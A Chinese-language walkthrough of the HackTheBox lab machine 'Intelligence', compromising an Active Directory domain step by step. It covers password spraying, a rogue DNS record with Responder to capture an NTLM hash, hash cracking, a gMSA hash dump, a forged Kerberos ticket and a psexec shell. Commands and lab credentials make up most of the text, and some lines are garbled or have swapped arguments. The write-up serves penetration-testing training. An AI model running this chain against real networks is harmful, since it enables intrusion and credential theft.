首先拿到一个IP地址为10.10.10.248。
使用Nmap扫描:
nmap -sC -sV -T5 -A 10.10.10.248
目标主机开放了80端口对应的web服务,88端口对应的kerberos,对应的账号是krbtgt,389以及636端口对应的是Ldap协议,
同样开放了445端口。
从Nmap扫描结果得知域名为intelligence.htb。
首先我们使用rpcclient
测试域的空身份验证,看看我们是否可以获取到用户的列表等等信息。
rpcclient -U '' 10.10.10.248
rpcclient -U '' -N 10.10.10.248
可以看到枚举失败了。
现在让我们尝试Smb服务。
crackmapexec smb 10.10.10.248
crackmapexec smb 10.10.10.248 --shares --users
crackmapexec smb 10.10.10.248 -u '' -p '' --shares
crackmapexec smb 10.10.10.248 -u '' --shares
可以看到shares是可以访问的。
smbclient -L //10.10.10.248/
smbclient //10.10.10.248/Shares
访问失败:
现在让我们来看一下web服务。
这个网页中有一些PDF相关的文件。
还有一个用户名:contact
我们可以尝试AS_REP Roasting攻击。
python3 GetNPUsers.py intelligence.htb/ -dc-ip 10.10.10.248 -request
可以看到失败了:
前面我们发现还有PDF相关的文件,我们可以看下请求的连接。
可以看到它是根据日期来进行命名的,所以我们可以生成大量的日期放到Burp中去跑一下。
使用date
来生成,这里的--date参数表示向前推多少天。
date --date="1 day ago" +%Y-%m-%d-upload.pdf
借助mortals师傅写的脚本,将PDF全部下载下来。
import requestsimport sysimport osurl = "http://10.10.10.248/documents/2020-"
下载下来之后我们可以使用exifTool
来查看pdf,可以看到PDF中有作者信息,我们可以将作者信息提取出来。
使用exitTool
提取作者信息。
exiftool *.pdf |grep Creator | awk '{print $3}' > user.txt
然后使用Kerbrute对用户进行枚举。
./kerbrute_linux_amd64 userenum --dc 10.10.10.248 -d intelligence.htb user.txt
可以看到这些账户都是存在的。
我们可以尝试进行密码喷洒:
./kerbrute_linux_amd64 passwordspray --dc 10.10.10.248 -d intelligence.htb user.txt 'Admin123..'
现在让我们将pdf转换为txt文件,然后在里面去搜索一些有价值的信息,比如password。
for i in $(ls); do pdftotext $i; done
然后我们在txt文件中查找一些敏感信息:
cat *.txt | grep password
然后我们找到前几行。
cat *.txt | grep password -B5 -A5
可以看到密码已经找到了。
然后我们就可以使用这个密码进行碰撞我们刚才拿到的那些用户了。
sudo ./kerbrute_linux_amd64 passwordspray --dc 10.10.10.248 -d intelligence.htb users NewIntelligenceCorpUser9876
成功跑出来账户是:Tiffany.Molina
使用crackmapexec
来验证一下,列举一下用户列表。
crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --users
我们可以获取目标的密码策略。
crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --pass-pol
我们可以列举目标上的共享信息。
crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares
可以看到这些共享的列表我们都是可以读取它的。
我们可以使用-M参数指定一个Module。
crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares -M spider_plus
这里生成的结果会放在/tmp/cme_spider_plus目录
我们来到这个目录,打开.json文件。
我们在jq
中解析。
cat 10.10.10.248.json | jq '. | map_values(keys)'
可以看到这里有很多文件列表我们都是可以访问的。
所以我们可以使用smbclient来连接,我们想下载downdetector.ps1这个文件。
smbclient -U Tiffany.Molina //10.10.10.248/IT
使用get
命令进行下载!!!
get downdetector.ps1
这个文件我们等会会用到的。
然后我们使用bloodhound-python将域内的信息导出来分析一下。
bloodhound-python -ns 10.10.10.248 -d intelligence.htb -dc dc.intelligence.htb -u Tiffany.Molina -p NewIntelligenceCorpUser9876
将json文件导入到bloodhound中之后,然后定位到Tiffany.Molina用户,将这个用户标记为已拥有。
然后选择Shortest Path from Owned Principais,但是发现这个用户到不了任何地方。
我们可以在搜索这里清空之后按下enter键,然后他会显示出来用户。
我们将SVC_INT$标记为高价值目标。
然后选择Shortest Paths to Here ,这个意思查询那个用户到SVC_INT这里的最短路径。
可以看到有3个用户,Administrator就不用看了,因为时域管理员,所以我们将这剩下的两个标记为高价值路径。
然后选择到高价值目标的最短路径,可以看到这两个用户到达SVC_INT。
所以我们得获取到这两个用户的权限。
我们回到刚才那个downdetector.ps1文件。
我们来解释一下这个文件,通过上面的注释我们得知这个文件会检查web服务器状态。计划每5分钟运行一次。
首先它导入域的模块,然后循环"web"开头的域intelligence.htb
的任何DNS记录,并使用Ted
的凭据为每个找到的域发送HTTP请求。(使用-UseDefaultCredentials
选项)如果服务器没有返回200 OK状态码,则会向Ted
发送一封邮件。
其实也就是说只要我们伪造一个web开头的域名,也就是假的域名,它每五分钟都会发送一次HTTP请求的话,那么我们伪造的这个也可以收到的,而它使用的是Ted的凭据。
伪造的话我们需要使用到dnstool.py
。
可以看到这里伪造的是webrelaysec.intelligence.htb。
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'webrelaysec.intelligence.htb' -d 10.10.16.2 10.10.10.248
然后我们就可以通过responder
来进行嗅探了。
responder -I tun0 -A
这里我们需要等等,因为5分钟会发送一次。
我们成功获取到凭据:
Ted.Graves::intelligence:0daa3ec1b284a949:CD76623716C3609875D86DDA36EB0EDF:0101000000000000A604499B3D73D7015C5EEEC5D556C5D8000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000200000035C7091E068F4D7CCC464ABE730F3C960A0B592A633A716B97E3209EF5BD0D30A0010000000000000000000000000000000000009003A0048005400540050002F007700650062006F006F00700073002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
获取到凭据之后然后我们将凭据保存为hash.txt文件,最后使用john
进行破解。
sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
可以看到成功将密码破解出来:账号:ted.graves 密码:Mr.Teddy
然后让我们再次使用cracksmapexec
进行枚举。
crackmapexec smb 10.10.10.248 -u ted.graves -p Mr.Teddy
尝试使用winrm进行登录。
crackmapexec winrm 10.10.10.248 -u Mr.Teddy -p Ted.Graves
可以看到是不允许我们进行登录的。
我们回到Bloodhound这里,我们下一个目标是需要拿到SVC_INT。
我们现在拿到的这个TED这个账户是在ITSUPPORT这个组中的,而这个组可以对SVC_INT账户进行检索密码。
我们可以使用如下工具。
https://github.com/micahvandeusen/gMSADumper
如下命令:
python3 gMSADumper.py -u 'ted.graves' -p Mr.Teddy -d intelligence.htb
这里需要注意的是需要将域名加入到hsots文件中,要不然会解析失败:
echo 10.10.10.248 dc.intelligence.htb intelligence.htb > /etc/hosts
成功检索到SVC_INT$账户的Hash:d365e889367ce3e3241b120db1df6e25
svc账户是一个服务账户,在我们前面的学习中,我们在制作白银票据的时候是需要使用到服务账户的Hash的。
我们可以使用crackmapexec
来进行验证。
crackmapexec smb 10.10.10.248 -u SVC_INT$ -H d365e889367ce3e3241b120db1df6e25
我们现在已经拥有了SVC_INT$账户的Hash,所以我们可以着手制作白银票据了。
我们都知道票据是有过期时间的,所以我们在制作白银票据之前需要保证我们本地和域控的时间是一致的,可以使用如下命令:
sudo ntpdate 10.10.10.248
现在我们可以来制作白银票据了。
使用getSt.py
。这里伪造的账户是Administrator。
python3 getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d365e889367ce3e3241b120db1df6e25 -impersonate administrator
然后导入票据:
export KRB5CCNAME=administrator.ccache
然后使用psexec直接访问即可。
python3 psexec.py -k -no-pass dc.intelligence.htb
到这里这个靶机就结束了。。。期待和您的下次相遇!!!